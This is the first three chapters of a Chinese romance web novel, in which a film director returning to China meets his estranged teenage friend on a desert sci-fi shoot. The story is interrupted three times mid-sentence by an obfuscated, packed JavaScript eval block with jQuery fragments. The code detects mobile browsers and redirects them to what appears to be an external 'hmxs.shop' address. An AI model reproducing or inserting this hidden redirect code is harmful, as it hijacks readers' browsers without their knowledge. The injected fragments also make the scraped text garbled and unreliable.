《crush是个显眼包》
1. 第 1 章
第1章
“没睡好吗?导演。”
“嗯?”燕青河脑袋有些迟钝,慢了半拍才反应过来,“嗯,有点。”
他声音淡淡,没有任何语调,一张清冷的脸上是寡淡的表情,看着并不想跟人聊天。想着来接他晚了二十分钟,大概是惹对方不快了,问话的人微微缩了下脖子,不再开口了。
燕青河本人毫无察觉,不自觉的蹙着眉头操控手机。
其实不是有点,是好几天没睡好了。
燕青河手机上的消息回得差不多,关掉链接后才息屏。
一个月前,燕青河还在拍摄公司和Nefi的合作剧集,那是一个系列小说改编的作品,目前在拍摄的是第二部。
传记类的小说改编难度大,三年前拍第一部的时候燕青河还只是刚从业不久,连独立执导的代表作都没有的小导演,他的老师为他保下这个工作,燕青河也不负所托,很好的完成了第一部的拍摄与制作。
剧集上线之后收获了很多好评,让当时的燕青河在圈内拥有了一定的知名度和人脉。
燕青河很重视也很喜欢这个作品,这对他来说有不一样的意义。
当时拍摄进入了尾声,由于工作强度太大,燕青河身体有些吃力,原本想着结束之后修整一段时间。
想要去这个世界冒险的前提是有个好身体。
曾经有个人这么跟他说过,这些年磕磕绊绊的,好多次都觉得要撑不下去了,他想着这句话吃了不少饭。
没想到忽然接到国内的邀请,问他能不能接替一个华语科幻电影的B组导演工作。
燕青河是华侨,中文环境工作完全没有问题,并且他为数不多的作品中有一半都是科幻片。
邀约的项目是由近十年国内最火爆的科幻ip《蓝色图腾》改编的电影,原著燕青河也看过。
那时候他还在读大学,从留学生二手群里收到的中文原著,在每天往返悉尼市区的半小时空隙里读完了整整四册。
这是个很好的机会,虽然烫手,但拍好了,会是每个参与制作的人履历中闪耀的一笔。
尽管时间非常紧张燕青河也还是接了下来。
燕青河答应得干脆利落,但这个决定让燕青河的心情忐忑了好几天,他没想到会在这个时间因为这种原因回国。
他还没有做好准备,如果有工作之外的时间,如果真的见到了他……们,要怎么解释自己为何这么多年渺无音讯。
他一定恨我,燕青河这样想,也这样期望。
当时正忙着系列剧集的拍摄,燕青河没有更多时间做准备,杀青后又立刻回国,在北京和制片人、编剧开了几天的会。
落地这个西北城市的机场时,燕青河已经感受到身体有些酸软,可能是发烧了。
他独自打车到市区,勉强在剧组驻点的酒店餐厅吃了点东西之后等着拍摄基地的同事来接他过去。
《蓝色图腾》的影视基地在这个省会城市更西北的地方,一个位于沙漠边缘、被无人区包围的小城市。
——门崖市。
据制片人说,门崖常住人口不足两万人,非常荒凉。
而这次《蓝色图腾》剧组就有接近五百人驻扎在门崖进行为期三个月的拍摄。
燕青河手上的事情又多又杂,上车打过招呼之后就拿着手机回复消息。
这是助理帮他对接的车子,因为燕青河不想在市区逗留,助理就帮忙找了时间贴近的车子来接他。
今天帮忙来接他的同事叫卢辛,道具组的,刚好到市区物流园接洽两车道具。
燕青河天生一张冷脸,这些年性格也越发寡言。
他职位是导演,他不说话卢辛也就没说,无聊得直打哈欠。
十月的西北气温已经很低,中午也就二十度左右。
燕青河下飞机就意识到自己要发烧,穿上了足够保暖的羊绒毛衣和能挡风的冲锋衣外套。
一路开到傍晚,天气不算好,阴沉沉的。
远处广袤的隔壁景色壮观,确实是适合《蓝色图腾》的取景地。
车内有淡淡的香烟气味。
燕青河不抽烟,但不反感,毕竟在剧组这种男人多的环境里工作,习惯了。
“是不是有点冷?我开空调吧。”卢辛说。
燕青河微微抿唇:“好。”
其实他穿得足够多并不冷,倒是卢辛穿得单薄,T恤外面套着牛仔衬衣。
大概是想着晚上温度低的时候都在车里,便没有多穿,又或者对自己的身体素质有自信。
他块头挺大。
卢辛在操控面板上看了几眼,摸不着头脑:“空调在哪儿来着?”
“嗯?”燕青河也低头过去看,很快找到了按钮,“好了。”
卢辛不好意思笑笑,“这车是跟道具组借的,就开过两次不太熟。“
燕青河:“你不是道具组的吗?”
“哦对,哈哈!”卢辛笑道:“总反应不过来,因为我们这个小组其实是做物理特效的,算特效组,但我们又得跟组,到这边儿了就给我们归到道具组下面了。”
“物理特效?”燕青河转头看他。
燕青河主动接了话问问题,卢辛闲了半天的嘴总算开张。
“是啊,我们小组就几个人,导演您还不清楚咱们拍摄基地的构成吧,要不我给你讲讲?”
卢辛是北京人,性格外向,讲起剧组的情况来感情丰沛慷慨激昂,北京口音也很重,夹杂着无数口癖和各组别的代号以及燕青河根本不认识的人名。
燕青河打十二分精神,听了半个多小时。
“您要是有什么不清楚的呀,就问我,我们组是最早来的一批。”卢辛说完,终于得空喝了口水,随即他发现,“欸,这空调是不是坏的?”
燕青河吸了吸鼻子,“我看看。”
他重新操控空调开关,依旧没有反应。
“肯定是坏的。”卢辛说:“这破丰田他们平时就拉些耐.操的货。”
燕青河:“你冷吗?我行李箱里有衣服。”
他说着关切的话,语气却是冷冷的,和他的脸一样。
卢辛:“不冷。”
一个小时后。
“谢谢啊导演。”卢辛套上了燕青河厚实的毛衣,“您真是个热心肠。”
原来是外冷内热。
两人都吸着鼻涕,卢辛靠着车门抽根烟。
燕青河已经完全闻不出烟味,感冒了。
天色已经暗了下来,暗色的云层与山脉在天际相交,几乎就要融合在一起,只有一抹淡淡的青色天光从边缘缝隙中透出。
西北高原的晚风吹过燕青河脸庞,干涩的眼睛轻眨着,也皱起眉头。
他想问问卢辛物理特效小组的事儿,来之前制片人没说有物理特效跟组的事儿,倒是说了他们的特效部分已经包给了两家国内最好的视效公司。
科幻片的视效部分是重中之重,制片人有意用这部电影展示中国目前顶尖的视效水平。
燕青河知道国际上有不少导演都偏爱实景特效和物理特效,但国内科幻片的参考不多,据以往的资讯来看,大多是更重视CG部分的。
所以这些年,人在海外的燕青河很难接收到那个小工作室的消息。
既然是同行,万一认识呢?
燕青河看了一会儿,很想在这样的情景下深沉的回忆一下咀嚼过无数次的少年时光,无奈感冒加重脑袋昏沉,鼻子也全都堵住了。
在冷风中回忆少年时光显得格外凄凉,想着后面还有重要的工作,身体不能垮,于是先行上车等待。
卢辛又去方便了一下,上车的时候裹着寒风,把脑袋昏沉的燕青河冷得一激灵,他想问物理特效小组的事,却发现卢辛人中亮晶晶。
“我草,夜里真冷。”卢辛搓了搓手,点火。
燕青河:“是啊,道具组……”
话才开口,卢辛手机响了,他手机架在中控上方,开着免提说话。
是货车司机来的电话,两人对接了一会儿道具的事,半夜才能到门崖市,得安排人卸货。
卢辛的电话结束,燕青河的手机又响了起来。
是妹妹燕靑云打电话来。
燕青云比燕青河小整整十岁,从小是个有主意的孩子,性格开朗也很调皮。小时候生过一场大病,劫后余生,因此全家人都更加宠溺。
她喜欢足球,一丁点大的时候就整天想着看球赛踢球,一点书都不想念。爸妈都不支持,倒是远在澳洲的姑姑知道了很支持她,偷偷给燕青河打钱叫燕青河给她报班。
燕青河就放了学偷偷带妹妹去上足球课。
不过没到一周就被妈妈发现了,妈妈有什么办法,她既舍不得燕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584344|187308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青河辛苦,又舍不得强硬剥夺燕青云的爱好,只好变成她接送妹妹上课。
六岁那年家里发生很多事,她被最宠爱她的姑姑带去悉尼生活。
后来燕青河和家人全都过去了。
妹妹从小粘哥哥,在妹妹眼中哥哥温柔又有耐心,性格好朋友多,老师同学亲戚都喜欢他。
但中间分开两年,哥哥变了模样。
她不知道那两年发生了什么,哥哥绝口不提。但在爱哥哥这件事上她也很有耐心。
从九岁到十九岁。
燕青云终于搞清楚了一点。
那个放在上锁抽屉里的爱情宝典是燕青云一直想拜读的东西,但这么多年她也没敢翻开一页。
她知道,她哥也不总是温柔的。
“燕青河~到了吗?”
“没有,在路上呢,估计要……”燕青河尝试计算路程。
卢辛轻声说:“十二点。”
燕青河微笑致谢,对着手机说:“十二点左右才能到。“
“那好晚,我肯定睡着了。”
“嗯。“
“你会出去玩儿吗?”
“不会,剧组很偏。”
“那怎么去找你的耳机男孩。”
“……”
“好不容易回国!”
燕青河撇了一眼卢辛,微微低头说:“我是回来工作的,乖。”
“嘁。”燕青云说:“那你要按时吃饭。”
“好。”
“我会想你的。”
“我也是。”
挂了电话。
“您对象啊?”卢辛顺嘴八卦。
燕青河:“不是。”
卢辛:“哦哦,抱歉。”
车内一阵沉默。
卢辛为自己莫名其妙的八卦懊恼,又不熟,问什么问。
“放点歌听吧,提神。”卢辛想操作蓝牙,但点了几次没连上,倒是把燕青河的手机连上了。
“导演那你放。”
燕青河:“好,想听什么?”
卢辛:“都行,不挑。”
燕青河点进自己的歌单随机播放。
他的歌单很杂,jazz、流行、rnb,说唱也有。
其实燕青河有段时间没听歌了,实在是太忙。
当列表随机到《几分之几》的时候燕青河脑袋里像有根弦接上了一样,昏沉的脑袋也变得清醒,整个人都舒服了不少。
“诶?”卢辛看了一眼中控面板,随即笑着看向燕青河想说点什么,但手机响了,他毫无防备地免提接下这个电话。
“喂?”
“到哪儿了?”
“这路都一样我哪儿知道到哪儿了。”
“地图没开着啊。”
“你大爷的就一条路有什么好开的。”
燕青河清醒地听到对面的声音,他微微张着嘴巴一动不动,全心辨别着电话那头陌生又熟悉的声音。
以至于忘了在音乐软件上按个暂停。
直到对面的人反应过来。
“卧槽卢狗你听的什么破歌,存心的吧。”
“不是……”卢辛心虚看向燕青河,又对着电话里说:“谨言慎行好吗!”
“切了。”
“你别这样……”
“赶紧切了!”
燕青河按下暂停。
“卢辛你回来看我不收拾你。”
“行了有事儿没?我车里还有人呢。”
“哦新来的导演是吧,陈美君中午跟我说了。”
“嗯,还有什么事儿!”
“货车是不是凌晨到?”
“是,大概十二点半吧。”卢辛说着,往嘴里塞根烟,啪嗒一下点燃火机。
电话那头加大声音:“你能不能有点素质?车里有老外呢,到时候给人白老头熏成黄皮了都,别给我们特效组抹黑。”
卢辛压着声音喊:“梁有志!!”
燕青河干燥的嘴唇微微张开,轻吸一口气。
卢辛捏紧了方向盘咬着牙说:“挂了,我开车呢。”
对面挂得很干脆,只留卢辛满脑门的冷汗。
他偷偷看了副驾驶的燕青河一眼,见他垂着眼眸一脸冷漠,被额前碎发遮挡的眉心也蹙着,心中警铃大作。
“梁有志你完了,等着被新导演干吧。”
2. 第 2 章
车是凌晨抵达门崖市的。
虽然只是在省内开车,但这一趟加上中途休息的时间,开了半天,燕青河感冒的症状加重,已经到了难以忽略的地步。
“您一会儿跟前台要点感冒药,他们有的。”卢辛提醒。
燕青河卸了安全带,苍白的脸在车内白灯的照射下十分惨淡,他说了谢谢,准备下车。
“你们不住这个酒店吗?”
卢辛:“嗯,我们在那边。”
他指了个方向,但路上只有几盏不怎么亮的路灯,无法辨别。
不过来日方长。
尽管很着急,燕青河也这么安慰自己。
“谢谢你送我。”燕青河说。
因为感冒引发头痛,他微微皱着眉,连眼睛也像蒙上了一层雾。
总之看起来情绪不怎么样。
卢辛挠挠头:“不客气,对了导演,你的衣服。”
说着抬手就要脱。
凌晨温度只有个位数,燕青河忙抬手制止:“不用,明天再给我吧。”
“哦……”
燕青河提着行李箱走了,卢辛看着他推开酒店的大门,茫然地叹口气。
这一路尽得罪他了,从挂了梁有志电话之后燕青河一直冷冷注视着前方没说过话。
梁有志说他的歌没品味和熏成黄皮的事儿估计也要算自己头上。
电话响起来。
“梁有志你害死我了。”卢辛说。
“到了没,陈美君要下面条你吃不吃?”
“吃,给我窝俩蛋。”
“三个也行,一会儿还得卸货。”
卢辛骂了两句,踩着油门往一公里外的道具组仓库区开。
负责物理特效的成员目前划在道具组名下,工牌上写的是E组。
E组独自占有一个小仓库,用来制作需要的特殊道具和服装。
仓库里烧着炉子,卢辛一进门就热气铺面爽得嗷嗷叫,“志哥呢?”
正在煎蛋的陈美君转头:“里边呢,你穿的这什么呀?怎么买这种毛衣这不是你这种粗人能驾驭的款式好吗?”
“你管我呢。”卢辛往炉子旁边一坐:“大概四十分钟后货车到。”
说了一会儿话,隔间里出来三个人。
卢辛转头,站起来说:“梁有志你完蛋了!”
梁有志双手插在他起球的摇粒绒衣服里:“我蛋挺好的,俩都是。”
卢辛:“刚刚我在车上的时候你说的那些话还记得吗,我开的免提。”
“那怎么了。”
“人家全听见了!”
梁有志不以为然,坐炉子边烤火:“那怎么了。”
陈美君把筷子给旁边的人,也坐过来:“说什么了?”
卢辛:“他说人家放的歌没品味,还说人家是白老头,被我二手烟熏成黄老头。”
梁有志:“他放的歌?”
“不然呢。”卢辛怒目,“我又不爱听这种。”
陈美君哦了一声:“志哥不知道最终来替补的导演其实是个年轻的华侨吧,以为人家听不懂中文。”
梁有志:“……”
卢辛:“你不知道?”
梁有志:“你们都知道?”
“啊。”陈美君说:“昨天晚上晓迪过来不是说了嘛。”
替补的B组导演传了一版又一版,最后一版传得最广,说是一个新西兰籍的中年导演,有丰富的科幻大片经验。
梁有志摸了摸鼻子,昨晚他一直在想飞行器出流沙的效果,压根没听卢晓迪说了什么。
他看了一眼卢辛,“你穿的这什么?”
卢辛:“不好看么。”
梁有志:“衣服好看,你丑。”
卢辛:“滚。新导演借我的,今天开的那辆丰田空调是坏的,差点给我冻死。”
梁有志:“所以是谁啊。”
陈美君:“面好了!”
E组几个熬夜的一窝蜂围过去捞面条。
梁有志一双手宽大有力,筷子跟他手上长出来的似的,两筷子就能夹一大碗,别人还捞着呢,他已经拌好美美吃上了。
他坐在塑料凳子上,一边呼噜噜吸溜面条一边看着仓库中间的大转盘。
里面放了很多沙子,用来拍单独的飞船贴沙近景。
“志哥,B组导演到了咱们是不是就要忙起来了,差A组进度这么多。“卢辛在梁有志旁边蹲下吃面。
梁有志:“没说呢,我也不知道。”
卢辛:“怎么突然换这么年轻的导演,全是户外实景大场面,都不知道能不能hold得住。”
“到底谁啊?”梁有志终于把视线撤回,看着卢辛说:“叫什么名字?有什么作品?”
卢辛:“叫那个什么,燕什么湖?”
梁有志一筷子面递到嘴边,愣了一下没送进嘴里,“谁?”
“我记不清了,反正中文名叫什么湖,他上车的时候跟我说了下。”
“什么湖不湖的,我还海呢。”
卢辛吸溜一大筷面条,嗯嗯应着,“就那个《虫洞》的导演。“
梁有志:“《虫洞》不是那个马克亚当斯吗?”
卢辛:“2。”
“2?”梁有志抿了下唇,“你确定?《虫洞2》的导演?”
卢辛的面条捞完了,喝一大口汤,“爽!就是啊,英文名叫卢克啥啥啥吧,中文名就燕什么湖。”
“燕青河。”梁有志说。
他碗里的面都有些坨了。
“对对对!”卢辛转头一看梁有志还剩一大碗,“你不吃了啊,不吃匀给我。”
梁有志白他一眼。
卢辛:“这么大还护食。”
梁有志:“只有你们狗界才用护食这个词。”
卢辛:“对了《虫洞2》当时上映你不是没去看吗?你怎么知道导演,我们叫你那么多次。”
“你管我。”梁有志终于扒拉了一口面条,他忽然想到什么,“那这毛衣是燕青河的?”
“对啊。”卢辛顺势低头,“我操……”
胸口两处面汤的污渍,在白色的毛衣上特别明显。
梁有志放下面碗,“你搞什么啊!多大人了吃饭还到处漏。”
“我……”卢辛无助又委屈。
梁有志:“赶紧脱了搓一下,弄干净还给人家。”
卢辛:“你急什么啊,又不是你的毛衣。”
梁有志端起碗起身,“你这是给我们E组抹黑好吗?能不能给新导演留点好印象,毛毛躁躁的整天满嘴跑火车吃个面条都不安分。”
卢辛看着梁有志的背影,“不是……”
到底是谁给E组抹黑啊!!
这个酒店被剧组包了,前台确实备着各种基础的药物的生活用品。
燕青河领了一盒感冒冲剂和一包日用品上楼,深夜寂静的走廊上只有行李箱滚轮的声音在回荡。
他的房间在最顶层,原本想着到房间了快速收拾一下就吃药睡觉。
但真的坐在房间里了,又毫无睡意。
刚刚听卢辛打电话交涉卸货的时间,他们要在凌晨卸货。
这是一个完全陌生的地方。
就像十二年前飞越半个地球去悉尼一样,但却没有那种不安的感觉,甚至隐隐感觉到踏实。
这次他有着适配的履历和技巧用来完成工作,虽然他仍旧不知道和梁有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584345|187308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
志见面会是什么样的场景,但总不会比十二年的分别更糟了。
“别忘了我就好。”
站在洗漱台前的时候,燕青河看着镜子想,不知道他长成什么样了。
没有时差的困扰,加上感冒昏沉,燕青河往被子里一钻睡到天蒙蒙亮。
往窗外一看,这座城市被无垠的隔壁包围。
房间里有暖气,燕青河穿着一套纯棉的衣服当睡衣,站在窗边看了一会儿。疲惫的脸上一双黑色的眼眸映着点点光芒。
睡了一晚起来精神好了很多,就是嗓子很干。
燕青河干咳两次也没有什么效果,便拿了房间里配的热水壶去卫生间装点水。
这个被无人区包围的小城市里住宿条件也不算太好,手中的热水壶看起来挺旧了,底部有一点水垢。
但燕青河也不在意。
影视行业看似光鲜亮丽,实则上山下水,风里来雨里去,精致的人干不了这一行。
燕青河的生活作风和他精致的脸形成巨大反差。
刚刚剧组分配的助理朱晓迪发来消息,说九点钟过来带他去吃早餐。
燕青河刚刷完牙就有人敲门,下意识的抬手看表却发现还没有戴上,心想这么快就九点了么。
擦了脸去开门。
“卢辛?你怎么过来了?”
“我来还你的毛衣,昨晚洗好烘干了,谢谢你啊导演。”卢辛把手里的纸袋递过来,视线随着燕青河伸出的手下移时看到他被单薄T恤包裹的纤瘦身材时,有些惊讶。
昨天穿得多,看他脸部状态很好,并不像会拥有这么纤瘦的身材的人。
这难道就是帅哥的建模么?再瘦脸都不会垮。
帅归帅,但这样的燕青河看起来更加难以接近了,卢辛注意到他的毛发颜色偏浅,就连眉毛也是。
搭配他寡淡清冷的表情,厌世感实在是太重了。
燕青河有些意外他的到来,“不用这么着急的。”
“这儿天气冷,我看你带的箱子也不大应该没带多少衣服。”
“辛苦你。”
卢辛咧嘴一笑,接着情不自禁地打了个哈欠。
燕青河微微抿唇。
“哈哈。”卢辛抬手:“拜拜导演,有需要随时找我。”
“那个。”燕青河身体前倾,“有时间的话我想去你们道具组转转。”
卢辛:“当然,热烈欢迎,再见。”
转身的瞬间,卢辛又打了个哈欠。
踩着走廊里的地毯走路没声音,卢辛的吐槽也没敢有声音。
燕青河把衣服整理挂好。
这是羊绒材质的毛衣,没有变形没有缩水。
想必是卢辛连夜手洗又烘干的。
实在是没有必要呀。
“我不是那么难搞的人。”燕青河轻声自言自语。
卢辛下了楼,还是没忍住骂出声,“梁有志你真他么有大病,我哇啊——困死了,张嘴就想打哈欠。”
“至于嘛。”
“你不睡我要睡好吗。”卢辛看他一大早穿着个皮衣骚了包地还插兜,心里更气了,“凌晨2点!你敲我门问我衣服洗没洗,这是人干的事儿吗!”
今天他得跟去沙漠里拍戏,不知道穿成这样给谁看。
梁有志抬着眼往酒店上面看了眼,“借了就得还啊,教你做人你还不感激我?”
卢辛抬腿就是一脚。
梁有志屁股一扭闪开,依旧双手插在牛仔裤兜里,莫名其妙干咳一声,“那个,人导演怎么说呀。”
“说我辛苦了。”
“没了?”
“还说有时间来道具组转转。”
“完了。”
3. 第 3 章
“你到底怎么了?奇奇怪怪的。”卢辛都有点儿害怕了,“是不是担心新来的导演不好合作啊?其实也还好了,人家只是看起来比较冷淡,人应该不坏的。”
梁有志回头看了一眼酒店,他不知道燕青河在哪个窗口,却也不敢一一打量,生怕真的在某个窗口看到他的身影。
早上温度不到十度,但梁有志还是觉得现在太热了。
“志哥,真有什么不还有我嘛,大不了我去跟导演对接,你就在仓库负责制作。”
卢辛歪着脑袋看到他魂不守舍的样子,“嘿!!”
梁有志真被吓到了,咬着牙道:“干嘛。”
卢辛:“你干嘛?”
梁有志欲言又止,最后翻了个白眼,“干你。”
卢辛面露羞涩:“在这里吗?”
“你他么……”梁有志作势要解皮带,吓得卢辛连滚带爬往前跑了。
燕青河:“…………”
燕青河站在窗边愣了好一会儿,最后没忍住笑出声来。
他无意识地摸了摸自己的下腹,发现自己穿的是运动裤,没有皮带。
不远处的梁有志忽然消失在拐角,燕青河才从情绪中回过神来,他打开窗子,被冷空气扑了个面,光|裸的小臂瞬间浮起一片鸡皮疙瘩。
燕青河伸出左手,对着他消失前拐角按刚刚的印象比了一下。
“长得好高啊,梁有志。”
十七岁的时候他们明明一样高的。
不过十七岁已经过去很久了。
燕青河喝了点水,换好衣服在房间里等着助理朱晓迪过来。
朱晓迪来迟了一点,火急火燎地道歉解释。
“没想到后勤的打印机坏了,我只好去别的地方打印没想到哪儿哪儿都有人在用,真的对不起导演我不是……”
“没关系。”燕青河说。
他站在门边,“要先进来喝口水吗?”
朱晓迪大喘气,露出如释重负的笑容,“不用了,我不渴。”
燕青河看她不像不渴的样子,转身去屋子里拿了瓶矿泉水出来递给她,“我们现在要去哪里?”
朱晓迪拧开喝了小半瓶,“食堂。”
《蓝色图腾》剧组驻扎在门崖市的工作人员保持在三百人左右,巅峰忙碌时期能到五百人,连着酒店的餐厅食堂全都包了下来。
一路上朱晓迪介绍着哪些部门在哪个位置,她染了一头蓝色的头发,不管走到哪里都非常瞩目,一路上有不少人跟她打招呼。
“这个帅哥是?”有个卷发姐姐问。
对方一脸八卦的样子,不像是真的关心燕青河是做什么工作的。
朱晓迪偷偷给对方眨眼:“B组导演,燕导。”
“啊……”对方很是意外,忙微微鞠躬打招呼,“导演您好,我是舒梅的助理,小胡。”
燕青河:“嗯,你好。”
朱晓迪忙解释:“舒梅是饰演女主的演员。”
燕青河:“我知道。”
燕青河自知自己这张脸有点冷,为了不让对方感觉有压力,还微微笑了一下。
“……”小胡又怂又苦命地假笑两下,“我上楼了,你们忙。”
两人继续沿着走廊往食堂走,朱晓迪一看就是个开朗话多的女孩子,顺着演员的话题讲了B组戏份多的演员,又接着讲比较重要的摄制组。
“晓迪。”
“嗯?”
虽然这样分神非常不专业,但燕青河还是忍不住岔了下话题,“道具组呢?”
“道具组?”朱晓迪挠挠头,“道具组在城西那边的酒店诶,因为要租仓库,我不怎么熟。”
燕青河微微抿唇,“这样。”
朱晓迪:“不过我跟物理特效组的建模师关系很好,她是我学姐,目前这个小组是划在道具组下面的。”
“他们组都有谁?”燕青河问。
他问得这样直白,朱晓迪都有点怀疑他是不是在找人了。
但现在不熟,燕青河看起来是个非常有边界感的人,她不敢问,只是机械地回答说:“他们小组有五个人,俩建模师,一个项目经理一个美术。昨天接你过来的那个卢哥就是他们组的项目经理。”
燕青河:“这是四个人。”
朱晓迪一拍脑门,“哦哦对!还有他们的头儿,梁哥,他什么都能干。”
“他人怎么样?”
“啊?”
“我的意思是……好相处吗?”
“诶!!”朱晓迪忽然拍了燕青河胳膊一下,指着食堂里说:“那儿!卢哥和梁哥。”
没等燕青河做出反应,朱晓迪就喊了一声:“卢哥!”
正端着餐盘伸长脖子看阿姨炸油条的两人齐齐回头。
除了朱晓迪,每个人都很错愕。
燕青河放在兜里的手微微攥紧。
“导演,走。”朱晓迪觉得一切正好,导演问起物理特效小组,而物理特效小组俩核心成员就在眼前。
朱晓迪给了个盛情邀请的眼神就往食堂里走了,燕青河还没想好要怎么应对,也只能跟着她,路过餐具台的时候朱晓迪给顺手给他递了个餐盘。
燕青河手指紧紧抠着餐盘。
明明一个小时之前就在楼上看到他了。
“这是B组导演,燕青河燕导。”朱晓迪热情介绍,“卢哥昨天你们见过了吧,这是梁有志,他们组长。”
“你好。”
“又见面了导演。”卢辛嘿嘿傻笑着,等着梁有志出头说话。
平时这种场合都是他出面代表工作室说场面话的。
没成想一转头,梁有志低着头不知道看什么,卢辛再一转头,燕青河也垂着眼睛不知道在想什么。
卢辛看向朱晓迪,朱晓迪挠了挠头。
“要几根?”
食堂阿姨声如钟,四人回过神来,沥油网上已经放了好几根金灿灿的油条,早餐供应时间快结束了,阿姨着急着给他们炸完油条好去蒸饭呢。
“小梁?要几根?”
道具组住在城西,每次吃饭都要走十几分钟来这边,梁有志经常早起来帮几个组员带早餐,来得多了阿姨也认识。
燕青河抬眼看向梁有志,他以为这时候梁有志应该看着油条了,没想到视线碰撞,梁有志转身往前一点。
阿姨:“豆腐脑没了,只有豆浆了,今天油条要几根?”
梁有志干咳一声,又抿了下唇。
他转头挨个问:“你要几根?”
卢辛要五根。
梁有志低声骂他:“猪一样。”
朱晓迪要两根。
“好。”梁有志说着,终于看向燕青河。
燕青河扬起嘴角,“我要一根。”
梁有志点头,没说话,转身的时候皱着眉头微微偏了下脑袋。
怎么又吃那么少?
燕青河就坐在梁有志对面,他很想跟梁有志说两句话,打个招呼,叙叙旧之类的。
但梁有志好像饿坏了,一直埋头吃饭。
卢辛也是,他看起来比梁有志还饿。
燕青河没什么胃口,小口吃着油条。时不时转头看朱晓迪,朱晓迪虽然看起来没那么饿,但是眼神很迷茫。
“我好了。”梁有志忽然站起来,扯了张桌上的纸巾端上餐盘就要走。
卢辛茫然道:“啊?”
梁有志:“你们慢吃。”
燕青河也站了起来,谁也不知道他什么时候把剩下的半根油条吃掉了。
“我也吃好了。”
朱晓迪正喝豆浆呢:“嗯?”
燕青河紧紧捏着餐盘。
片刻后梁有志转身,燕青河看着他的眼睛,直到他坐下来,“赶紧吃老卢,回去一堆活儿。”
“我今天能去你们仓库看看么?”燕青河问。
“哦。”梁有志双手揣在皮衣兜里,“行啊。”
“恐怕不行诶。”朱晓迪说,“今天事儿很多呢导演,没时间。”
燕青河看向梁有志,“那我改天。”
梁有志依旧看着桌面:“行啊,都可以。”
朱晓迪忙笑着:“要不导演你和梁哥加个微信呗,正好这两天也是要跟他们组开会的。”
梁有志:“不好意思,我没带手机。”
卢辛:“?”
“那回头我推给你。”朱晓迪说。
梁有志终于抬头,迎面撞上燕青河那张极具迷惑性的脸,清冷薄情的脸上却有一双偏窄的桃花眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584346|187308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
燕青河:“可以吗?”
梁有志:“当然。”
“你……”燕青河正想问问他这些年怎么样,卢辛终于吃完了他的五根油条。
“那我们先回去了。”梁有志和卢辛起身,对朱晓迪说。
朱晓迪:“拜拜。”
燕青河半垂着眼睛,有些失落,又觉得这是应当的。
他主动说:“梁有志,拜拜。”
朱晓迪和卢辛都觉得今天这顿早餐的氛围好奇怪,尤其是梁有志,他俩看过去。
梁有志一手揣牛仔裤兜里,一手端着餐盘,侧身四十五度微微顶胯站着。
“拜。”
卢辛和朱晓迪对视一眼,满脸不解。
桌上一点儿吃的都没剩,梁有志到底想装什么?
真显眼包一个。
梁有志和卢辛先走了,朱晓迪和燕青河收拾完餐盘,导演助理的电话就打了过来,要去跟总导演陈可浮开会。
朱晓迪把燕青河拉进微信群里,整整十七个群。
大群、各组小群、主创群、B组群、食堂菜色群……
总之燕青河的微信没有这么热闹过。
“暂时这么多吧。”朱晓迪弄完,把自己现在的顶头上司燕青河置顶,“导演,你的头像老人味好重啊。”
“老人味?”
“就是比较古板的意思。”
燕青河顺手点开自己头像看了下,这是一张车站街景的照片,当时注册微信的时候他正好在等公交车,就拍了一张。
这些年微信基本只用来跟家人和一些华人同事联系,没注意过。
燕青河:“不好看?”
朱晓迪眨眨眼:“我不是那个意思,导演请原谅。”
“我没有生气。”
“哦哦。对了我把你的微信推给梁哥,可以吗?”
燕青河笑:“好,谢谢。”
朱晓迪也笑,但说实话她有点搞不懂这个新导演的性格。
他表情冷冷的,说话淡淡的,举止乖乖的,但又好像性格不错的样子。
他们在酒店二楼的会议室等着,燕青河时不时刷新一下微信,但一直没收到梁有志的添加信息。
倒是看到群里很多人的头像都很有意思。
“要是他加我,会不会也觉得我的头像很老气啊。”燕青河端坐在会议桌旁想了好一会儿,忽然想到了什么拿出手机。
燕青河把微信头像换成了《星球大战》里的角色R2-D2。
这一天燕青河除了吃饭上厕所就没闲下来过。
跟主创团队吃完晚饭出来的时候两人正聊国内外的发行环境,总导演陈可浮手里捏着车钥匙,忽然说:“青河,你看那儿就是我们搭的实拍大棚,大吧。”
“嗯,确实很大。”
“后面那个小一点的是道具组和物理特效的仓库。”陈可浮正打算说说《蓝色图腾》多么重视物理特效部分的时候他手机响了。
“老婆打视频来了,先回去吧。”
燕青河:“陈导你先走,我想走回去,消消食。”
陈可浮:“知道路吗?”
“知道。”燕青河说。
陈可浮火急火燎地上了车,同行的几个主创也一起走了。
第一个发现燕青河的人是个女孩子,头发卷卷的,戴了个橙色的毛线帽,手里拿了一卷电线。
“找谁?”
“梁有志。”
“梁哥!!”
后方隔间里迅速回应:“说!”
